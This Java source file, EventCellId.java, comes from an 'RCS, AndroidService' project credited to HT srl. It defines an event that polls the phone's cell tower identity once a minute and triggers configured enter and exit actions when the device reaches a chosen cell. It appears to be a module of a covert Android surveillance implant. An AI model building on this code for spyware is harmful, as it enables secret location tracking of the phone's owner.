/* *******************************************
* Copyright (c) 2011
* HT srl, All rights reserved.
* Project : RCS, AndroidService
* File : EventCellId.java
* Created : 6-mag-2011
* Author : zeno
* *******************************************/
package com.android.dvci.event;
import com.android.dvci.CellInfo;
import com.android.dvci.Device;
import com.android.dvci.auto.Cfg;
import com.android.dvci.conf.ConfEvent;
import com.android.dvci.conf.ConfigurationException;
import com.android.dvci.util.Check;
public class EventCellId extends BaseEvent {
private static final String TAG = "EventCellId"; //$NON-NLS-1$
private static final long CELLID_PERIOD = 60000;
private static final long CELLID_DELAY = 1000;
int actionOnEnter;
int actionOnExit;
int mccOrig;
int mncOrig;
int lacOrig;
int cidOrig;
boolean entered = false;
@Override
public void actualStart() {
entered = false;
}
@Override
public void actualStop() {
onExit(); // di sicurezza
}
@Override
public boolean parse(ConfEvent conf) {
try {
if (conf.has("country") == true)
mccOrig = conf.getInt("country");
else
mccOrig = -1;
if (conf.has("network") == true)
mncOrig = conf.getInt("network");
else
mncOrig = -1;
if (conf.has("area") == true)
lacOrig = conf.getInt("area");
else
lacOrig = -1;
if (conf.has("id") == true)
cidOrig = conf.getInt("id");
else
cidOrig = -1;
if (Cfg.DEBUG) {
Check.log(TAG + " Mcc: " + mccOrig + " Mnc: " + mncOrig + " Lac: " + lacOrig + " Cid: " + cidOrig);//$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ //$NON-NLS-4$
}
setPeriod(CELLID_PERIOD);
setDelay(CELLID_DELAY);
} catch (final ConfigurationException e) {
if (Cfg.EXCEPTION) {
Check.log(e);
}
return false;
}
return true;
}
@Override
public void actualGo() {
final CellInfo info = Device.getCellInfo();
if (!info.valid) {
if (Cfg.DEBUG) {
Check.log(TAG + " Error: " + "invalid cell info");//$NON-NLS-1$ //$NON-NLS-2$
}
return;
}
if ((mccOrig == -1 || mccOrig == info.mcc) && (mncOrig == -1 || mncOrig == info.mnc)
&& (lacOrig == -1 || lacOrig == info.lac) && (cidOrig == -1 || cidOrig == info.cid)) {
if (!entered) {
if (Cfg.DEBUG) {
Check.log(TAG + " Enter");//$NON-NLS-1$
}
entered = true;
onEnter();
} else {
if (Cfg.DEBUG) {
Check.log(TAG + " already entered");//$NON-NLS-1$
}
}
} else {
if (entered) {
if (Cfg.DEBUG) {
Check.log(TAG + " Exit");//$NON-NLS-1$
}
entered = false;
onExit();
} else {
if (Cfg.DEBUG) {
Check.log(TAG + " already exited");//$NON-NLS-1$
}
}
}
}
}